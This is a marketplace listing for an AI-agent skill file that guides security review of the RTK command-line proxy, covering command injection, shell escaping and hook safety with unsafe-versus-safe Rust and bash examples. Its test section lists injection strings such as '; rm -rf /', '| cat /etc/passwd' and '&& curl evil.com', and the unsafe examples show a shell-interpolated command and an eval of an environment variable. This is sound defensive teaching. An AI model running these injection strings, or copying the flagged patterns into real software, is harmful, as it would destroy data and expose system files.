Skip to content
Development
Skill

/security-guardian

CLI security expert for RTK - command injection, shell escaping, hook security

From plugin
rtk
75k12 skills6 agents9 commands
Install
$ npx -y skills add rtk-ai/rtk --skill security-guardian --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition β†’
  • You can call itInvoke it directly when you want it.
  • Slash command/security-guardian

Context preview

The summary Claude sees to decide when to auto-load this skill.

CLI security expert for RTK - command injection, shell escaping, hook security

SKILL.md

security-guardian.SKILL.md
description: CLI security expert for RTK - command injection, shell escaping, hook security
allowed-tools: Read Grep Glob Bash

Security Guardian

Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**.

When to Use

  • **Automatically triggered**: After filter changes, shell command execution logic, hook modifications
  • **Manual invocation**: Before release, after security-sensitive code changes
  • **Proactive**: When handling user input, executing shell commands, or parsing untrusted output

RTK Security Threat Model

RTK faces unique security challenges as a CLI proxy that: 1. **Executes shell commands** based on user input 2. **Parses untrusted command output** (git, cargo, gh, etc.) 3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh) 4. **Routes commands transparently** (command injection vectors)

Threat Categories

| Threat | Severity | Impact | Mitigation | |--------|----------|--------|------------| | **Command Injection** | πŸ”΄ CRITICAL | Remote code execution | Input validation, shell escaping | | **Shell Escaping** | πŸ”΄ CRITICAL | Arbitrary command execution | Platform-specific escaping | | **Hook Injection** | 🟑 HIGH | Hook hijacking, command interception | Permission checks, signature validation | | **Malicious Output** | 🟑 MEDIUM | RTK crash, DoS | Robust parsing, error handling | | **Path Traversal** | 🟒 LOW | File access outside filters/ | Path sanitization |

Security Analysis Workflow

1. Threat Identification

**Questions to ask** for every code change:

Input Validation:
- Does this code accept user input?
- Is the input validated before use?
- Can special characters (;, |, &, $, `, \, etc.) cause issues?

Shell Execution:
- Does this code execute shell commands?
- Are command arguments properly escaped?
- Is std::process::Command used (safe) or shell=true (dangerous)?

Output Parsing:
- Does this code parse external command output?
- Can malformed output cause panics or crashes?
- Are regex patterns tested against malicious input?

Hook Integration:
- Does this code modify hooks?
- Are hook permissions validated (executable bit)?
- Is hook source code integrity checked?

2. Code Audit Patterns

**Command Injection Detection**:

// πŸ”΄ CRITICAL: Shell injection vulnerability
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEROUS!
std::process::Command::new("sh")
    .arg("-c")
    .arg(&cmd) // Attacker can inject: `; rm -rf /`
    .spawn();

// βœ… SAFE: Use Command builder, not shell
use std::process::Command;

let user_input = env::args().nth(1).unwrap();
Command::new("git")
    .arg("log")
    .arg(&user_input) // Safely passed as argument, not interpreted by shell
    .spawn();

**Shell Escaping Vulnerability**:

// πŸ”΄ CRITICAL: No escaping for special chars
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
    let full_cmd = format!("{} {}", cmd, args.join(" "));
    Command::new("sh")
        .arg("-c")
        .arg(&full_cmd) // DANGEROUS: args not escaped
        .output()
}

// βœ… SAFE: Use Command builder, automatic escaping
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
    Command::new(cmd)
        .args(args) // Safely escaped by Command API
        .output()
}

**Malicious Output Handling**:

// πŸ”΄ CRITICAL: Panic on unexpected output
fn filter_git_log(input: &str) -> String {
    let first_line = input.lines().next().unwrap(); // Panic if empty!
    let hash = &first_line[7..47]; // Panic if line too short!
    hash.to_string()
}

// βœ… SAFE: Graceful error handling
fn filter_git_log(input: &str) -> Result<String> {
    let first_line = input.lines().next()
        .ok_or_else(|| anyhow::anyhow!("Empty input"))?;

    if first_line.len() < 47 {
        bail!("Invalid git log format");
    }

    Ok(first_line[7..47].to_string())
}

**Hook Injection Prevention**:

# πŸ”΄ CRITICAL: Hook not checking source
#!/bin/bash
# rtk-rewrite.sh

# Execute command without validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!

# βœ… SAFE: Validate hook environment
#!/bin/bash
# rtk-rewrite.sh

# Verify running in Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
    echo "Error: Not running in Claude Code context"
    exit 1
fi

# Validate RTK binary exists and is executable
if ! command -v rtk >/dev/null 2>&1; then
    echo "Error: rtk binary not found"
    exit 1
fi

# Execute with explicit path (no PATH hijacking)
/usr/local/bin/rtk "$@"

3. Security Testing

**Command Injection Tests**:

#[cfg(test)]
mod security_tests {
    use super::*;

    #[test]
    fn test_command_injection_defense() {
        // Malicious input: attempt shell injection
        let malicious_inputs = vec![
            "; rm -rf /",
            "| cat /etc/passwd",
            "$(whoami)",
            "`id`",
            "&& curl evil.com",
        ];

        for input in malicious_inputs {
            // Should NOT execute injected commands
            let result = execute_command("git", &["log", input]);

            // Either:
            // 1. Returns error (command fails safely), OR
            // 2. Treats input as literal string (no shell interpretation)
            // Both acceptable - just don't execute injection!
        }
    }

    #[test]
    fn test_shell_escaping() {
        // Special characters that need escaping
        let special_chars = vec![
            ";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
        ];

        for char in special_chars {
            let arg = format!("test{}value", char);
            let escaped = escape_for_shell(&arg);

            // Escaped version should NOT be interpreted by shell
            assert!(!escaped.contains(char) || escaped.contains('\\'));
        }
    }
}

**Malicious Output Tests**:

#[test
Read more
Ships withrtk

CLI proxy that reduces LLM token consumption by 60-90% on common dev commands. Single Rust binary, zero dependencies

Get the whole plugin